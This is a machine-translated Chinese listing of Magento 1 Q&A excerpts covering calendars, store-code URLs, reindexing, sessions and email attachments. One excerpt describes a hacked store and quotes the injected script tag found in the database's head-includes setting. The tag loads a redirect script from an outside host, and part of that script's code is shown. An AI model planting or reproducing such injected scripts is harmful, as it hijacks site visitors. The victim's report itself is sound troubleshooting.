Questions tagged «magento-1»

有关Magento 1的一般问题(非次要版本)。您可以使用它来区分Magento 2,但是如果特定安装存在问题,请改用适当的magento-1.x标记。

1
如何更改magento日历?
如您所知,公历是Magento的默认日历,但是在某些国家(例如中国,日本,印度,伊朗和阿拉伯国家),日历是不同的。我搜索了Magento后端,但没有找到任何选择和更改日历的选项。 我要使用波斯原始日历“ Jalali”日历。现在,我需要安装新的日历。 如果我正确知道的话,Magento中使用了2种日历。 Zend框架PHP日历 Mihai Bazon Java日历 对于第一种类型,我发现有一个扩展Zend_Date名为Zend_Calendar,它可以转换重要的世界日历,例如波斯贾拉利(hijri shamsi)日历,日语日历,希伯来语日历,中文日历,伊斯兰日历等。请参见下面的链接更多详细信息:http : //framework.zend.com/wiki/display/ZFPROP/Zend_Calendar+-+Thomas+Weidner 我的问题是我不知道如何使用此Zend日历转换器。还是必须在Magento中编辑哪些文件? 对于第二类日历,我有一个由Ali Farhadi在此链接中写的开源波斯语jhaili版本的Mihai Bazon日历:http ://farhadi.ir/works/jalalijscalendar 如果需要,我附加了此Java日历。 我将此Java日历放入Magento,并用默认的Java日历替换了它。但是一切都没有改变。然后,我在Magento核心中编辑了一些文件。而且我看到当我单击日历图标时,没有出现弹出日历。 请帮助我将我的商店默认日历更改为Jalali,并将其他字词更改为拥有自己的默认日历。 我认为,如果有人可以解决Magento的问题,那将非常有帮助。不只是波斯语,是Zend支持的所有其他日历,甚至更多。 对于Magento团队来说,可以在其功能强大的软件程序中使用所有Zend功能可能是个好主意。它可以是Magento安装进度中的下拉列表,其中可以选择国家,时区和货币。

5
除默认值外,每个商店视图的URL中都有商店代码
我启用了系统 > 配置 > 网站 > 将商店代码添加到URL,并为加拿大(/ ca /​​)设置了新的商店视图。 理想情况下,我想让example.com/ca/加载加拿大商店视图,但仍将example.com(其中没有default商店代码)用作默认商店。 我注意到主页在这方面工作得很好,但是当我进入产品页面时,Magento会自动在URL中包含商店代码。 我不愿意为默认存储更改当前URL的主要原因是,我不想看到它们失去任何链接。我知道从理论上讲,只要我设置了301重定向,就可以了,但是我想我读过的地方仍然遗漏了少量果汁。 另外,我认为从可用性角度来看,这可能会更好。如果您的大部分流量都流向您的默认商店,并且您的客户习惯了常规URL,那么为什么还要用URL中的其他/default/(/us/或其他任何东西)打扰他们。 我尝试禁用将商店代码添加到URL并仅将加拿大商店视图的基本URL更改为example.com/ca/,但这似乎没有任何作用。我假设它需要启用该设置才能获取URL中的商店代码并对其进行任何操作。

5
重新索引单个产品
我想在更新后为单个产品重新编制索引。 现在我使用: $product = Mage::getModel('catalog/product')->loadByAttribute('sku', 'foobar'); // edit something $product->save(); $stockItem = Mage::getModel('cataloginventory/stock_item')->loadByProduct($product->getId()); $stockItem->setForceReindexRequired(true); Mage::getSingleton('index/indexer')->processEntityAction( $stockItem, Mage_CatalogInventory_Model_Stock_Item::ENTITY, Mage_Index_Model_Event::TYPE_SAVE ); $product ->setForceReindexRequired(true) ->setIsChangedCategories(true); Mage::getSingleton('index/indexer')->processEntityAction( $product, Mage_Catalog_Model_Product::ENTITY, Mage_Index_Model_Event::TYPE_SAVE ); 但这行不通,有什么主意吗? PS: $product->getId()存在并且正确。

1
客户is_active标志有什么作用?
在今天的讨论中,我得知Customer is_active标志实际上并未执行任何操作。 这是唯一的标志,就像客户的电子邮件地址一样,因为它不是 EAV属性。相反,它是customer_entity表中的一列。 我尝试将测试客户的标志设置为0,但仍然可以登录。所有其他功能似乎正常运行。 提供此标志是为了给开发人员带来方便吗?它是否打算用于将来的目的?is_active有什么作用(如果有)? 编辑:这是一个相关的堆栈溢出:https : //stackoverflow.com/questions/3617832/disable-customer-in-magento

7
网站开始重定向到另一个URL
Maybe it's infected by some virus. 我的网站开始重定向到这些受感染的URL。 http://mon.setsu.xyz 和一段时间https://tiphainemollard.us/index/?1371499155545 感染的链接 我要解决的问题。 .htaccess文件已注释(什么都没有发生) 已评论包含文件夹(什么都没有发生) 扫描了完整的服务器(没有任何反应,没有发现病毒恶意软件) 更改了数据库中的CSS,媒体和js路径,只是为了确保其PHP或任何js都在做(没有任何反应) select * from core_config_data where path like '%secure%';所有链接都可以 更新 我用谷歌搜索,并写了许多文章,但他们认为这是浏览器问题或我的系统被感染了。 即使我在手机或个人笔记本电脑上打开网站,有关此问题的文章也一样。 更新2 我在数据库中找到了受影响的行。(正如鲍里斯·K(Boris K.)还说的) 在core_config_data 表 design/head/includes 值中有一个 <script src="<a href="https://melissatgmt.us/redirect_base/redirect.js">https://melissatgmt.us/redirect_base/redirect.js</a>" id="1371499155545"></script> 将在页面加载时将其插入头部。 如果您访问上述URL,您将获得重定向脚本,该脚本是 var redirChrome; var isToChrome = document.currentScript.getAttribute('data-type'); if((isToChrome == 1 && navigator.userAgent.indexOf("Chrome") …


1
与addFieldToSelect相比,addExpressionFieldToSelect有什么用?
我正在研究Magento,但我不太了解addExpressionFieldToSelectover 的用途是addFieldToSelect什么?我在阅读中的任何地方都找不到答案。据我所知,这似乎是在重写字段名称-但仅当您使用重写传递数组时才如此。如果您知道应该将字段重写为什么,那么为什么不首先使用addFieldToSelect进行操作呢?

2
Magento过滤器收集的创建时间(今天,昨天,星期,小时等)
我有一个自定义集合,希望按创建日期和“昨天”创建的het条目进行过滤 馆藏条目 //dates are set in controller using setCreatedTime(Mage::getModel('core/date')->gmtDate()); 昨天创建(无效) //3 products items Yesterday //below filtering outputs incorrect entries $collection = Mage::getModel('things/things')->getCollection(); 我试过了,但是输出不正确; //thought strtotime('yesterday') would work.. $collection->addFieldToFilter('created_time', array('gt' => Mage::getModel('core/date')->date('Y-m-d H:i:s', strtotime('yesterday')))); $collection->addFieldToFilter('created_time', array('gt' => Mage::getModel('core/date')->date('Y-m-d H:i:s', strtotime('-1 day')))); $collection->addFieldToFilter('created_time', array('from'=> strtotime('-1 day', time()),'to'=> time(),'datetime' => true)); $fromDate = …

2
Magento何时使用会话,何时使用cookie?
我知道Magento具有以下用于会话和Cookie处理的核心功能: Mage::getSingleton('core/cookie'); Mage::getSingleton('core/session'); Magento什么时候设置Cookies,什么时候设置PHP会话?有哪些用例? 我有点困惑,因为我知道Magento将购物车信息存储在中Mage::getSingleton('checkout/session'),并将用户的状态存储在中Mage::getSingleton('customer/session')。但是结帐会话似乎不是一个会话,而是一个cookie。因为当我关闭浏览器并重新打开页面时,这些物品仍在购物车中。 这是否意味着该checkout/session模型设置了Cookie而不是全局$_SESSION变量?

8
错误404-移至新服务器后无法访问后端
我已将网站移动到新服务器上(域名相同)。前端工作正常,但管理员登录页面显示404 Not Found错误。 有关此问题的大多数帖子都建议此帖子中提到的解决方案转移Magento网站,管理面板URL给出404 我已经尝试了所有方法,但没有任何效果。我还有其他方法可以解决此问题吗?


5
Magento:在电子邮件中发送文件附件
在自定义模块中,我使用此功能发送电子邮件: public function sendMail($errorCod, $errorMsg) { $mail = Mage::getModel('core/email'); $recipients = array( Mage::getStoreConfig('trans_email/ident_custom1/name') => Mage::getStoreConfig('trans_email/ident_custom1/email'), Mage::getStoreConfig('trans_email/ident_custom2/name') => Mage::getStoreConfig('trans_email/ident_custom2/email') ); foreach ($recipients as $recipient): $mail->setToEmail($recipient); $mailBody = "<b>Error Code: </b>".$errorCod."<br />"; $mailBody .= "<b>Error Massage: </b>".$errorMsg."<br />"; $mail->setBody($mailBody); $mail->setSubject('Lorem Ipsum'); $mail->setFromEmail(Mage::getStoreConfig('trans_email/ident_general/email')); $mail->setFromName("Lorem Ipsum"); $mail->setType('html'); try { $mail->send(); } catch (Exception $e) …


1
找出订购产品的次数
我试图找出过去两个星期订购产品的次数。到目前为止,我已经获得了产品的循环。 foreach($productCollection as $product){ } 我认为我应该能够将订单详细信息放置在循环中 $order_items = Mage::getResourceModel('sales/order_item_collection') 我不太确定如何过滤此内容。我知道它需要按产品ID进行过滤,并且订单必须在最近2周内完成。 请问该查询的语法应该是什么样的?

2
如何让用户选择交货日期?
我的网站是礼品网站,因此我需要让用户选择交货日期。我希望在运输详细信息步骤中选择该选项(带有日历弹出框的文本框)。我可以用Google搜索免费的扩展程序,但我需要收到已经解决该问题的人的来信。我也不想修改核心文件。

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.